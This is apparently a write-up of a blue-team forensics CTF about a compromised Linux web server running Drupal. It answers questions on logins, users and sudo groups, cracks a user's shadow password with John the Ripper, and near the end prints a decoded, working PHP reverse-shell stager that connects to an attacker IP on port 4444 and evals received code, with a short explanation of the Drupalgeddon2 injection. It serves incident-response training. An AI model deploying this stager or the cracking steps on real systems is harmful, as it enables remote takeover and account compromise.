
بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار
challenge link :
https://cyberdefenders.org/blueteam-ctf-challenges/hacked/
Scenario : A soc analyst has been called to analyze a compromised Linux web server. Figure out how the threat actor gained access, what modifications were applied to the system, and what persistent techniques were utilized. (e.g. backdoors, users, sessions, etc).
What is the system timezone?
The default system timezone is stored in /etc/timezone (which is often a symbolic link to the timezone data file specific to the timezone)

ans → Europe/Brussels
Who was the last user to log in to the system?
/var/log

ans → mail
What was the source port the user 'mail' connected from?

ans → 57708
How long was the last session for user 'mail'? (Minutes only)
start → 13:23 , end → 13:24

ans → 1
Which server service did the last user use to log in to the system?

ans → sshd
What type of authentication attack was performed against the target machine?
too many authentication failure

ans → brute-force
How many IP addresses are listed in the '/var/log/lastlog' file?

ans → 2
How many users have a login shell?
A login shell is the interactive shell program that starts when you first log in to a Linux or Unix system, such as via SSH or a virtual console
Separates human users from system accounts: most system accounts (services, daemons) don’t require an interactive shell, so their shell is set to /sbin/nologin or /bin/false. The presence of an interactive shell on a system account may indicate tampering/misconfiguration or the existence of a backdoor.
/etc/passwd

ans → 5
What is the password of the mail user?
Understanding /etc/shadow file fields and format
https://www.cyberciti.biz/faq/understanding-etcshadow-file/

You’ll use the John the Ripper tool, but you must have the rockyou wordlist because that’s what it will loop over , download it from GitHub.

ans → forensics
Which user account was created by the attacker?
Created a user account and added it to the sudo group.


ans → php
How many user groups exist on the machine?

ans → 58
How many users have sudo access
from the previous question : sudo:x:27:php,mail
ans → 2
What is the home directory of the PHP user?

ans → /usr/php
What command did the attacker use to gain root privilege? (Answer contains two spaces).

ans → sudo su –
Which file did the user 'root' delete?
Check the .bash_history file in the root user’s home directory

ans → 37292.c
Recover the deleted file, open it and extract the exploit author name.
The first thing we’ll do is mount the image.

After that, we’ll use the R-Studio tool to recover the deleted files.




ans → rebel
What is the content management system (CMS) installed on the machine?


ans → drupal
What is the version of the CMS installed on the machine?
The specific method for checking the version depends on which Content Management System (CMS) is running
Drupal Via the file system: Check the /var/www/html/jabc/includes/bootstrap.inc file, which contains the version information

ans → 7.26
Which port was listening to receive the attacker's reverse shell?


After Decoding
<?php
*/
error_reporting(0);
$ip = '192.168.210.131';
$port = 4444;
// socket connection
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
}
if (!$s_type) { die('no socket funcs'); }
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream':
$len = fread($s, 4);
break;
case 'socket':
$len = socket_read($s, 4);
break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream':
$b .= fread($s, $len - strlen($b));
break;
case 'socket':
$b .= socket_read($s, $len - strlen($b));
break;
}
}
$GLOBAL['msgsock'] = $s;
$GLOBAL['msgsock_type'] = $s_type;
eval($b);
die();
?>
Drupalgeddon2 (Drupal RCE) : PHP passthru + reverse shell
Detected by the presence of Drupal render parameters (#post_render/#markup) with a php -r eval(base64_decode(...)) payload and socket functions (stream_socket_client/fsockopen). This decodes to a reverse shell allowing remote command execution and potential full system compromise.\
#post_render/#markup are Drupal render properties that let an attacker inject renderable content into the rendering pipeline—if misused they can cause Drupal to execute supplied PHP or callbacks, enabling arbitrary code execution.
ans → 4444
سبحانك اللهم وبحمدك أشهد أن لا إله إلا أنت أستغفرك وأتوب إليك